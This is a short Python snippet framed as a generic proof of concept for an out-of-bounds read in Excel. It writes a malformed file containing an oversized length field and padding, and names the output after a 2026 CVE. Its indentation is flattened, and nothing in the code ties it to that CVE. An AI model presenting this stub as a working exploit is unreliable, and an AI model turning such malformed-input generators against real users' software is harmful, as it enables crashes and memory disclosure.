The following code is for security research and authorized testing only.
python
import struct
# This is a generic PoC demonstration for an Out-of-Bounds Read vulnerability in Excel.
# It creates a malformed file structure that might trigger the parsing logic.
def create_malicious_file(filename):
with open(filename, 'wb') as f:
# Simulate a header with an invalid length field
# Record Type (2 bytes) + Length (2 bytes)
f.write(struct.pack('<H', 0x0010)) # Example Record Type
# Set a large length to potentially trigger OOB read
f.write(struct.pack('<H', 0xFFFF))
# Write some padding data
f.write(b'A' * 0x10)
print(f"[+] Potential PoC file generated: {filename}")
if __name__ == "__main__":
create_malicious_file('cve_2026_32188_poc.bin')